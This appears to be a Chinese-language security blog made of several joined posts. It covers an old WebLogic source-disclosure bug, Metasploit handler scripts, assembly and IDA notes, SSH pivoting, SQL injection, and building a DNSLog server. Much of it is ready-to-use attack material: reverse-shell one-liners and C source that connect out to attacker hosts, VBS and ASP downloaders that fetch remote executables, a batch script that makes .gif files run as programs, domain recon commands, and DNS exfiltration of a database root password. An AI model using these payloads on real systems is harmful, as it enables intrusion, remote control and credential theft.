安全技术


今天为某金融公司做测试,在系统中发现了一枚很老的漏洞 CVE-2000-0683 ,Nessus里面给出的漏洞评级是中危,但是经过测试,发现是一个危害很高的漏洞。

在以前的测试过程中还没有遇到过这个洞,也许是我孤陋寡闻了,但也许有很多人和我一样不知道的,所以在这里简单分享一下。

相关介绍

Tenable Nessus关于该漏洞的描述:

https://www.tenable.com/plugins/nessus/11604

这个漏洞利用起来很简单,只需要在URL中加入/*.shtml/就可以列目录或者读源码,例如:假设漏洞位于http://victim.com/,那么如果想要列目录,只需要请求:

http://victim.com/*.shtml/
http://victim.com/*.shtml/admin/
http://victim.com/*.shtml/config/

即可列出相应目录下的文件。

如果需要读取源代码,只需要请求

http://victim.com/*.shtml/index.jsp
http://victim.com/*.shtml/admin/login.jsp
http://victim.com/*.shtml/config/config.jsp

即可读取相应的源代码。

实战利用

以下是我的测试过程。

列目录:

读源码:

漏洞修复

内容来自相关供应商(BEA security advisory BEA00-03.00):

(1) Apply the “Show Code” vulnerability patch available from BEA Technical Support. This patch is available for:
Version:

  • The J-Engine in BEA WebLogic Enterprise 5.1.x
  • BEA WebLogic Server and Express 5.1.x
  • BEA WebLogic Server and Express 4.5.x

Action: Contact BEA Technical Support at support () bea com for patch.

(2) Once the patch has been applied, review the weblogic.propertiesfile and ensure that the following changes have been made:

weblogic.httpd.register.file=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.file=defaultFilename=index.html
weblogic.httpd.defaultServlet=file

should be changed to:

weblogic.httpd.register.*.html=weblogic.servlet.FileServlet
weblogic.httpd.initArgs.*.html=defaultFilename=index.html
weblogic.httpd.defaultServlet=*.html

Future Service Packs for BEA WebLogic Server and Express will also contain the patch to address this vulnerability.

本漏洞分享仅供学习交流,请勿用于从事非法活动。



Metasploit Resource脚本是MSF框架提供的非常方便的用于组织自动化任务的工具。简单来说,resource脚本目前可以支持两种类型的指令组合,分别是MSF命令和嵌入式Ruby代码。
以下分别就两种使用方法进行演示。

这里以 multi/handler 这个用于反弹shell监听器的模块来演示。

使用makerc命令制作metasploit命令行resource脚本

执行msfconsole启动MSF控制台以后,执行如下操作:

1
2
3
4
5
6
7
8
9
10
msf5 > use multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > makerc /root/test.rc
[*] Saving last 4 commands to /root/test.rc ...
msf5 exploit(multi/handler) >

将会在/root/目录下生成test.rc文件,其中记录着刚刚输入的所有命令。下次需要执行同样操作的时候,只需要运行msfconsole -r /root/test.rc即可载入和执行这次的命令记录。

使用run_single函数编写基于嵌入式Ruby的resource脚本

除了直接编写指令代码以外,Resource脚本还可以支持嵌入式Ruby脚本,只需要在.rc文件中使用<ruby></ruby>标签引入Ruby代码即可。

这里将上面用于启动handler模块的脚本稍微改良一下,变成一个易于使用的rc文件,代码如下:

handle.rc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

<ruby>

def init_args

trueargs = {}

trueif ARGV.join('') =~ /^help$/i

truetrueargs[:help] = true

truetruereturn args

trueend

trueargs[:payload] = ARGV.shift
trueargs[:host] = ARGV.shift
trueargs[:port] = ARGV.shift

truereturn args

end


# resource process entry

begin

trueargs = init_args

trueif args[:help]

truetrueprint_line("Usage:\nmsfconsole handler.rc PAYLOAD HOST PORT")

truetruereturn

trueend

#run_single("workspace handler")
run_single("use multi/handler")
run_single("set payload #{args[:payload]}")
run_single("set lhost #{args[:host]}")
run_single("set lport #{args[:port]}")

rescue ArgumentError => e

trueprint_error("Invalid argument: #{e.message}")

truereturn

rescue RuntimeError => e

trueprint_error(e.message)

truereturn

rescue ::Exception => e

trueraise e

end

</ruby>

将上面的代码保存为handle.rc,启动MSF控制台时,执行:

1
msfconsole -r handler.rc windows/meterpreter/reverse_tcp 0.0.0.0 4444

即可快速地配置好配备相应payload的handler监听器。

其中Ruby代码中的run_single就是用于执行MSF框架指令的方法。

MSF自带了很多方便实用的脚本,位于MSF框架目录/scripts/resource/目录下,可以参考这些脚本的写法,写出更加方便的脚本。

参考链接:

https://metasploit.help.rapid7.com/docs/resource-scripts



相关学习资源

二进制安全相关工具和教程站点

内容体系

  • 基本概念
  • IA-32处理器体系结构
  • 汇编语言基础
  • 数据传送、寻址和算术运算
  • 过程
  • 条件处理
  • 整数算术指令
  • 高级过程
  • 字符串和数组
  • 结构和宏
  • 32位Windows变成
  • 高级语言结构
  • 16位MS-DOS程序设计
  • 磁盘基础知识
  • BIOS程序设计
  • 高级MS-DOS程序设计
  • 高级主题

汇编和二进制基础知识

  • CPU指令的基本单位
    • 1 byte = 8 bit 0~155
    • 1 word = 2 byte 0~65535
    • 1 double word = 2 word 0~4294967295
    • 1 kilobyte = 1024 byte
    • 1 megabyte = 1024 kbyte
  • 总线
    • 数据总线
    • 控制总线
    • 地址总线
  • 地址空间

    • 32位寄存器可以使用0-2^32-1,可对4GB内存进行寻址
  • 寻址方式

    • 段基址*10H+段内偏移地址,形成20位地址
    • 段基址是16的倍数,长度最大不超过64K
  • 寄存器(80386处理器中的寄存器分为8组,每组宽度为32位)

    • 通用寄存器
      • EAX: 累加器 在乘法和除法指令中被自动使用
        • AX(低16位) AH(高8位) AL(低8位)
      • EBX: 基址寄存器
        • BX BH BL
      • ECX: 计数器 循环计数器
        • CX CH CL
      • EDX: 数据寄存器
        • DX DH DL
      • ESI: 源变址寄存器
        • SI
      • EDI: 目的变址寄存器
        • DI
      • EBP: 扩展基址指针寄存器 由高级语言用来引用函数参数和局部变量
        • BP
      • ESP: 栈指针寄存器
        • SP
    • 段寄存器
      • CS:代码段(Code Segment)
      • DS:数据段(Data Segment)
      • ES:附加数据段(Extra Segment)
      • SS:堆栈段(Stack Segment)
      • FS:附加段
      • GS 附加段
    • 指令寄存器
      • EIP 指令指针寄存器,低16位为IP(8086),它存储的是下一条要执行指令的地址。
    • 标志寄存器
      • IOPL(I/O Privilege Level): I/O特权级字段,宽度为2bit,它指定了I/O指令的特权级。如果当前的特权级别在数值上小于或等于IOPL,那么I/O指令可执行。否则,将发生一个保护性异常。
      • NT(Nested Task): 控制中断返回指令IRET,它宽度为1位。NT=0,用堆栈中保存的值恢复EFLAGS,CS和EIP从而实现中断返回;NT=1,则通过任务切换实现中断返回。
      • RF(Restart Flag): 重启标志,它的宽度是1位。它主要控制是否接受调试故障。RF=0接受,RF=1忽略。如果你的程序每一条指令都被成功执行,那么RF会被清0。而当接受到一个非调试故障时,处理器置RF=1。
      • VM(Virtual Machine): 虚拟8086模式(用软件来模拟8086的模式,所以也称虚拟机)。VM=0,处理器工作在一般的保护模式下;VM=1,工作在V8086模式下。
      • PSW(Program Flag)程序状态字寄存器,是一个16位寄存器,由条件码标志(flag)和控制标志构成
        • CF(Carry Flag): 进位标志位,由CLC,STC两标志位来控制,在无符号算数运算的结果无法容纳于目的操作数中时被设置
        • PF(Parity Flag): 奇偶标志位
        • AF(Assistant Flag): 辅助进位标志位
        • ZF(Zero Flag): 零标志位
        • SF(Singal Flag): 符号标志位
        • IF(Interrupt Flag): 中断允许标志位,由CLI,STI两条指令来控制
        • DF(Direction Flag): 向量标志位,由CLD,STD两条指令来控制
        • OF(Overflow Flag): 溢出标志位
    • 系统地址寄存器
    • 控制寄存器
    • 调试寄存器
    • 测试寄存器

PSW寄存器详解

15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
OF DF IF TF SF ZF AF PF CF
标志位 说明
OF(Overflow Flag)溢出标志 溢出时为1,否则置0
SF(Sign Flag)符号标志 结果为负时置1,否则置0
ZF(Zero Flag)零标志 运算结果为0时ZF位置1,否则置0
CF(Carry Flag)进位标志 进位时置1,否则置0
AF(Auxiliary carry Flag) 辅助进位标志,记录运算时第3位(半个字节)产生的进位置。有进位时1,否则置0
PF(Parity Flag)奇偶标志 结果操作数中1的个数为偶数时置1,否则置0
DF(Direction Flag)方向标志 在串处理指令中控制信息的方向
IF(Interrupt Flag)中断标志
TF(Trap Flag)陷阱标志

汇编指令

  • 整数

    • d 十进制
    • b 二进制
    • q/o 八进制
    • h 十六进制
    • r 编码实数
    • t 十进制(可选)
    • y 二进制(可选)
  • 整数表达式优先级

      1. ()
      1. +,- 单目加减
      1. *,/
      1. MOD 取模
      1. +,- 加减
  • 数据传送
    • 算术运算/逻辑运算
    • 移位
    • 控制转移
    • 串操作
    • 高级语言支持
    • 条件字节设定
    • 位操作
    • 处理器控制
    • 保护方式
  • 通用数据传送
    • 累加器专用传送
    • 地址传送
    • 标志传送
  • 伪指令

    • .data 标识包含变量的区域
    • .code 标识程序中包含指令的区域
    • func PROC PROC标识了过程的开始,func可以是任何名字
  • 代码标号

    1
    2
    3
    target:
    truemov ax,bx
    truejmp target
  • 数据标号

    1
    first BYTE 10
  • 注释

    1
    2
    3
    4
    true;单行注释
    COMMENT ;
    true多行注释
    ;
1
2
3
4
5
6
7
8
9
mov		赋值
add 两个值相加
sub 相减
mul 相乘
inc 加1
dec 减1
neg 求相反数(转换成对应的二进制补码,补码可通过将目的操作数的所有数据位取反加1)
jmp 跳转到一个新位置
call 调用一个过程
1
2
3
4
5
6
7
8
9
10
11
12
byte	8位无符号整数
sbyte 8位有符号整数
word 16位无符号整数
sword 16位有符号整数
dword 32位无符号整数
sdword 64位有符号整数
fword 48位整数
qword 64位整数
tbyte 80位整数
real4 32位IEEE短实数
real8 64位IEEE长实数
real10 80位IEEE拓展精度实数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.data
list BYTE 10,20,30,40

;在内存中的形态:
; 0000:10
; 0001:20
; 0002:30
; 0004:50

list BYTE 10,20,30,40
BYTE 50,60,70,80
BYTE 81,82,83,84

;定义字符串
str1 BYTE 'This is a test', 0 ;
str2 BYTE "This is a test ",0dh,0ah, ;CRLF
BYTE "This is a test ",0dh,0ah,0 ;
true
dup
BYTE 20 DUP(0) ;20字节,全部用0填充
BYTE 4 DUP("stack") ;20字节,"STACKSTACKSTACKSTACK"

word1 WORD 65535 ;最大无符号字
word2 WORD -32768 ;最小无符号字
word3 WORD ? ;未初始化的字

push 压栈
pop 出栈
MOV 赋值
MOVZX 零拓展传送
MOVSX 符号拓展传送

1
2
3
4
5
MOV DL,90H		;DL=90H
MOVSX AX,DL ;AX=FF90H
MOVZX AX,DL ;AX=0090H
MOVSX ESI,DL ;ESI=FFFFFF90H
MOVZX ESI,DL ;ESI=00000090H

CBW 将字节数据扩展成字,符号位扩展到AH中
CWD 将字数据扩展成双字,符号位放到DX中

1
2
3
MOV AL,70H	;
CBW ;AX=0070(2byte,1word)
CWD ;DX=0000,AX=0070(4byte,2word)

XCHG 交换两个操作数的数据,支持8位、16位、32位
PUSH 入栈,支持立即数入栈
PUSHA 将8个16位通用寄存器全部入栈,顺序为AX,CX,DX,BX,SP,BP,SI,DI,然后SP指针寄存减16,内容为PUSHA指令执行前的内容
PUSHAD 将8个32位通用寄存器全部入栈,顺序为EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI,然后ESP的内容是执行指令PUSHAD之前的内容
POP 出栈
POPA 8个16位通用寄存器全部出栈,堆栈指针寄存器不是堆栈中弹出的内容,而是加16之后得到
POPAD 8个32位通用寄存器全部出栈,ESP的内容是执行指令PUSHAD之前的内容
LEA 取有效地址

1
2
3
MOV EAX, 11111111h
MOV EBX, 11111111h
LEA ECX, [EAX+EBX] ;ECX = 22222222h

LDS 装入指针,目的寄存器必须是16位或32位的通用寄存器,操作数必须是内存单元,不能是立即数

1
2
LDS EAX, [1000H];将偏移地址为1000,1001h这两个字节单元的内容送给DS,将1002,1003,1004,1005这四个字节单元的内容送往EAX
LDS AX,[1000H];这表明将偏移地址为1000,1001H这两个字节单元的内容送给段寄存器DS,将偏移地址1002,1003H两个字节单元的内容送往EAX

LES 同LDS,不过段寄存器是ES
LFS 同LDS,不过段寄存器是FS
LGS 同LDS,不过段寄存器是GS
LSS 同LDS,不过段寄存器是SS

LAHF 将标志寄存器的低8位送至AH中,包括SF,ZF,ZF,PF,CF。
SAHF 与LAHF的过程恰好相反
PUSHF 将标志寄存器的EFLAGS低16位内容入栈
PUSHFD 将标志寄存器EFLAGS的内容入栈
POPF 将栈顶的一个字弹出,并将它送到标志寄存器EFLAGS的低16位
POPFD 将栈顶的两个字弹出,并将它送到标志寄存器EFLAGS

OFFSET 取当前内存的地址

1
offset Array

EBP EBP指向栈底
ESP 指向栈区域的栈顶位置
EIP 指向下一个将会被执行的指令

EAX = [AX]+[AH+AL]

db: 声明 1 byte(字节)变量
dw: 声明 2 byte(字节)变量 = 1 word
dd: 声明 4 byte(字节)变量 = 2 word = 1 double word

1
2
3
4
mov eax ebx
mov eax 333h
mov eax [ebx]
mov eax [ebx+66h]

和C语言的对比:

a = b[0x66] => mov eax [ebx+66h]

  • 数据交换

    1
    2
    3
    4
    5
    lea edx, b			;将edx指向b
    mov [edx], ebx ;赋值a = b
    mov ebx, a ;赋值ebx = a
    mov b,ebx ;赋值a = b
    mov ecx, offset a ;将ecx指向a
  • 条件跳转:
    cmp 比较结果
    jx 检查条件x,有大于、小于、等于三个状态
    je 相等时跳转
    jne 不相等时跳转
    jb、ja 比较无符号数然后决定是否跳转
    jl、jg 比较有符号数然后决定是否跳转
    jbe 在一个无符号数小于或者等于另一个无符号数时发生跳转
    jmp 无条件跳转

1
2
3
4
5
cmp EAX,EBX		;比较EAX和EBX
jz xxx ;如果相等就跳转到xxx
cafebabe
cmp [ECX], EDX ;比较*ECX和EDX的值
JAE yyy ;如果*ECX>=EDX,就跳转到yyy
  • 函数调用:
    1
    2
    3
    push offset, LibName	;将字符串偏移量压入堆栈
    call LoadLibrary ;进行函数调用
    mov h,EAX ;将EAX中的值传给变量h

PE、ELF基础知识

  • PE文件结构:
    .text 二进制代码
    .data 初始化的数据块
    .idata 动态链接库等外来函数与文件
    .rsrc 资源

文件偏移地址 = 虚拟内存地址-装载基址-节偏移
= RVA - 节偏移

  • 文件幻数
    Windows PE File
    1
    4d 5a							MZ

Jpeg Image File

1
ff d8 ff e0 00 10 4a 46 49 46	JFIF

Java .class file

1
ca fe ba be


基本工具

  • PE Tools 分析Windows进程和可执行文件
  • PEiD 识别构建PE文件所使用的编译器
  • nm 检查中间目标文件(拓展名为.o的文件),可以显示符号、函数等信息
    动态链接二进制文件,未定义的符号在C语言共享库中定义
  • ldd 链接器(静态链接、动态链接)
    静态链接:链接器将应用程序的目标文件和所需的库文件组合起来,可执行文件更大
    动态链接:不需要复制库,方便维护,可执行文件更小
    1
    2
    gcc -o test test.c
    gcc -o test test.c --static

编译好之后可以通过file参数查看类型

1
2
ldd ./test	
#查看库依赖(mac:otool -L windows:dumpbin)

`objdump 节头部 程序每节的摘要信息
专用头部 程序内存分布信息,还有运行时加载器所需的其他信息
调试信息 程序中的调试信息
符号信息 类似nm的方式转储符号表信息
反汇编代码清单 对文件中标记为代码的部分执行线性扫描反汇编

  • dumpbin 从PE文件提取符号、导入函数名、导出函数名和反汇编代码
  • c++filt nm test | grep demo |c++filt
    跟C++函数重载有关的操作,显示重载函数的不同形态
  • strings 提取文件中的字符串内容 strings test
    strings -t 可显示字符串文件的偏移量信息
    strings -e 可搜索更广泛的字符

反汇编器:

1
2
3
msfpayload linux/x86/shell_findport CPORT=4444 R >test
ls -l test
ndisasm -u test

分析网络数据包中可能包含shellcode的计算机网络攻击时,可以采用流式反汇编器来反汇编数据包中包含shellcode的部分

栈帧: 程序运行时栈中分配的内存块,专门用于特定的函数调用。
因为每个递归函数调用都有自己的栈帧,使得递归成为可能。

  • 函数调用步骤:
    1.调用方将被调用方所需的参数放到该函数所采用的调用约定制定的位置
    2.调用方将控制权转交给被调用方
    3.如有必要,为被调用的函数配置栈指针
    4.被调用方为局部变量分配空间
    5.被调用函数执行操作
    6.函数完成操作后,为局部变量保留的栈空间被释放。(逆向执行第4步中的操作)
    7.还原寄存器值
    8.被调用函数将控制权返还给调用方
    9.删除栈中的参数
  • 调用约定: 通过调用函数将函数参数存入栈中,调用函数必须存储被调用函数所需的参数。
    调用约定指定调用方放置函数所需参数的具体位置。
    调用约定可能要求将参数放置在制定的寄存器、程序栈或者寄存器和栈中。
    c调用规定。
    cdecl调用约定规定:
    调用方按从右到左的顺序将函数参数放入栈中。
    在被调用的函数完成操作时,调用方负责从栈中清除参数。

ida基本知识

ida目录结构

  • cfg 配置文件
  • idc 包含内置脚本语言IDC所需的核心文件
  • ids 包含一些符号文件
  • loaders 在加载过程中用于识别和解析PE或ELF等一直格式的IDA拓展
  • plugins 包含专门为IDA提供的附加功能
  • procs 包含已安装的IDA版本所支持的处理器模块
  • sig 包含IDA在各种模式匹配操作中利用的现有代码的签名
  • til 包含一些类型库信息

ida基本操作

  • HKEY_CURRENT_USER\Software\Hex-Rays\IDA IDA注册表项

ida数据库文件

要分析的文件为main.exe
会在目录中生成

  • main.id0 二叉树形式的数据库
  • main.id1 包含描述每个程序字节的标记
  • main.nam 包含于IDA的Names窗口中显示的给定程序位置有关的索引信息
  • main.til til文件用于存储与一个给定数据库的本地类型定义有关的信息
  • main.idb ida数据库文件

IDA创建数据库

从磁盘加载文件,解析文件头信息,创建包含代码或数据的程序块
编译器识别:IDA尝试确定用于创建输入文件的编译器,如果能确定,就可以扫描该编译器使用的样板代码序列
函数参数和局部变量识别:
数据类型信息:

ida桌面

  • IDA View-A
  • Hex View-A Hex View可以右键编辑并提交
  • Hex View-B
  • String Window
  • Names Window F:常规函数
  • L:库函数,通过签名匹配算法来识别
  • I:导入的名称,通常为共享库导入的函数名称。
  • C:命名代码
  • D:数据。已命名数据的位置通常表示全局变量。
  • A:字符串数据。
  • sub_xxxx:地址xxxx处的子例程
  • loc_xxxx:地址xxxx出的e指令
  • byte_xxx:位置xxx处的8位数据
  • word_xxx:位置xxx处的16位数据
  • dword_xx:位置xx处的32位数据
  • unk_xxxx:位置xxxx处的大小未知的数据

ida热键

  • IDA>View:
  • View>Open Subviews 恢复需要的窗口
  • ESC 后退(跳转到上一个)
  • Ctrl+Enter 前进(跳转到下一个)
  • G (GoTo) Jump To Address

加深理解-汇编指令、长度和十六进制的关系

地址 指令 16进制 指令长度
.text:00401010 push ebp 55 1byte
.text:00401011 mov ebp, esp 8B EC 2byte
.text:00401013 sub esp, 44h 83 EC 44 3byte
.text:00401016 push ebx 53 1byte


Downloader 1

1
2
3
4
5
6
7
8
9
10
11
12
Set args = Wscript.Arguments
Url = "http://x.x.x.x/x.exe"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with

Downloader 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName, s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
Set Ads = Nothing
End Sub

eWebEditor_SaveRemoteFile "c:\x.exe", "http://x.x.x.x/x.exe"
%>


1
2
3
4
5
6
7
8
@echo off 
color 1A
ECHO Windows Registry Editor Version 5.00>gif.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.gif]>>gif.reg
ECHO "Content Type"="application/x-msdownload">>gif.reg
ECHO @="exefile">>gif.reg
regedit /s gif.reg>nul 2>nul
del /s gif.reg>nul 2>nul


Get System Info

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@echo off
ipconfig /all
net start
tasklist /v
net user
net localgroup administrator
netstat -ano
net use
net view
net view /domain
net group /domain
net group "domain users" /domain
net group "domain admins" /domain
net group "domain controllers" /domain
net group "exchange domain servers" /domain
net group "exchange servers" /domain
net group "domain computers" /domain
echo #########system info collection
systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator
echo #######at- with atq#####
echo schtask /query
echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
tree -F

Get Task List

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
''''''''''''''''''''''''''''''''''''
' tasktool.vbs@b4dboy
''''''''''''''''''''''''''''''''''''

On Error Resume Next
Dim obj, pross, pid, killName
pid = WScript.Arguments(1)
killName = WScript.Arguments(0)

Set obj = GetObject("Winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set pross = obj.Execquery("Select * From Win32_Process")
Wscript.echo "[PID]" & VbTab & "[ProName]"

For Each proccess In pross
If (WScript.Arguments.Count = 2) And (CStr(pid) = CStr(proccess.ProcessID)) Then
proccess.Terminate 0
ElseIf Ucase(proccess.Name) = Ucase(killName) Then
proccess.Terminate 0
Else
WScript.echo proccess.ProcessID & VbTab & proccess.Name
End If
Next



在很多时候拿到了内网的一台主机,我们需要用它做跳板来对内网进一步扩大战果。
也许方法很多,meterpreter,nc等等。但是最方便也最有可能穿透防火墙的方法,就是用ssh。
分为四种类型:
本地转发,远程转发,跳板转发,动态转发。
本地转发
假设攻击机A主机为本机,ip是y.y.y.y,用户是hacker,被攻击且用作跳板的主机是B,ip是
x.x.x.x,对应的内网ip是10.0.0.2,用户是root,ssh的端口是22。
假设B机器上的80端口开放了一个服务,但是只有B主机本机上才能访问,这时候可以使用本地转
发,在A机器上执行命令:

1
ssh -L 8080:localhost:80 root@x.x.x.x

这样,在本机A中访问localhost:80,数据被转发到B主机的80端口,即实现了访问B机器的本地
服务。
很常见的一个实例就是攻击者拿下了某目标内部的网关服务器,但是出于安全考虑网管的web控
制台界面只有在网关服务器自身上才能访问,这时候就可以通过这种方式转发流量,方便的操作
网关服务器的web控制台了。
上面的情况,是基于A主机可以ssh到B的情况,但假如从A到B的ssh连接被拒绝,而恰好B主机的
防火墙没有禁止其使用ssh外连,这时候就可以通过远程转发来实现上述同样的效果。
在B机器上执行命令:

1
ssh -R 8080:localhost80 hacker@y.y.y.y

这时候在A机器上访问自身的8080端口,数据也是被转发到了B主机的80端口上的。
可见,这种方式受到的局限比较多,因为如果能够在B主机上使用ssh外连了,还需要通过ssh来
转发流量的情况也是很少见的,但也不是没有。
以上两种转发,都是只对跳板服务器自身的服务,很多时候,渗透需要的是内网中一台稳定的跳板,
这时候就可以使用
跳板转发来实现多主机之间转发。
假设现在需要通过B主机作为跳板,来访问与B处于同一内网中的机器C的80端口,假设C的ip是
10.0.0.3,这时候可以在攻击机上执行如下命令:

1
ssh -g -L 8080:10.0.0.3:80 root@x.x.x.x

此时在A主机上8080端口的流量就被转发到C主机的80端口上了。
最有用的就是最后要介绍的,
动态转发,这种转发可以将流量随心所欲的转发,此时实现的效果就相当于代理服务器,在A机器
上用下面的命令实现:

1
ssh -D 8080 root@x.x.x.x

此时在A机器上配置SOCKS代理端口localhost:8080,就可以以B为代理服务器随心所欲的畅游。
最后补充使用ssh进行X转发的命令,其实很简单:

1
ssh -X root@x.x.x.x

这样连接上以后,目标机器的X服务器所做的操作都会通过x协议发送到本地,很方便的实现了可
视化操作。
例如在终端输入firefox,就可以在本地弹出一个实际上运行在远程的firefox进程。



bash

1
$ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.20",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

1
php -r '$sock=fsockopen("x.x.x.x",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc

1
$ nc -e /bin/sh 10.0.0.1 1234

1
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
1
$ nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

jsp

1
2
3
r = Runtime.getRuntime() 
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in sin;
char rms[21]="rm -f ";
daemon(1,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]); // host
sin.sin_port = htons(atoi(argv[2])); // port
bzero(argv[1],strlen(argv[1])+1+strlen(argv[2]));
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ;
if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) {
perror("[-] connect()");
exit(0);
}
strcat(rms, argv[0]);
system(rms);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execl("/bin/sh","sh -i", NULL);
close(fd);
}



MYSQL篇
1.内置函数和变量

1
@@datadir,version(),database(),user(),load_file(),outfile()

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

1
2
xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,table_name from 
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–

查字段:

1
2
3
xxx.php?id=1 and 1=2 union select 1,2,column_name from 
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–

这里可以再结合下concat的拼接功能

1
2
3
4
xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]

Access篇

猜表名

1
*.asp?id=1 and exists (select * from admin)

猜列名

1
*.asp?id=1 and exists (select password from admin)

Order by查询

1
*.asp?id=1 order by 3

union 查询

1
*.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

1
*.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

1
*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

1
*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

1
'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

1
'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。



DNSLog,简单来说,就是通过记录对于域名的DNS请求,通过dns请求这个相对“隐蔽”的渠道,来委婉地获取到想要获得的信息。
例如,在一个针对mysql数据库的注入中,如果没有回显,可能很多时候就要歇菜。
但如果对方的数据库服务器连接公网并且是Windows机器的话,就可以用这种姿势来获取信息:

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM user WHERE user='root' LIMIT 1),'.nogan.ga\\xxx'))

你将会看到类似:

当然你可能会说直接用http协议传输不就好了吗,确实http协议也可以,但是http协议毕竟有局限的地方,例如容易被防火墙限制等。
而dns作为一种基础协议有时候并不会被随便禁用,一些内网当中对于DNS协议的管控和检测是个薄弱的点,相对http来说DNS协议也更加隐蔽。

近几年DNSLog被尤其广泛地运用于无回显的SQL注入、命令执行、XML实体注入等漏洞的检测当中,算是一门很基础的老技术了。

关于DNSLog的具体应用,这里就不多说了,感兴趣的可以进一步阅读以下文章:

1
2
3
4
5
https://www.anquanke.com/post/id/98096

http://www.freebuf.com/column/158579.html

https://www.cnblogs.com/afanti/p/8047530.html

那么如何低成本搭建dnslog服务器?接下来就来简要分享一个低成本构建DNSLog服务的方法。

准备材料:

(1) 一台低成本的VPS:这里推荐使用某国外的便宜VPS,完整root权限,单核512MB/10GSSD,¥128/年,购买链接在文章最后
(2) 一个可以接收邮件的邮箱:用来注册免费域名

搭建过程

注册域名

首先到 https://freenom.com 注册用户,同时注册一个免费的域名
以我这里为例,注册一个nogan.ga

注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是
ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

点击Continue,进入到结算页面。
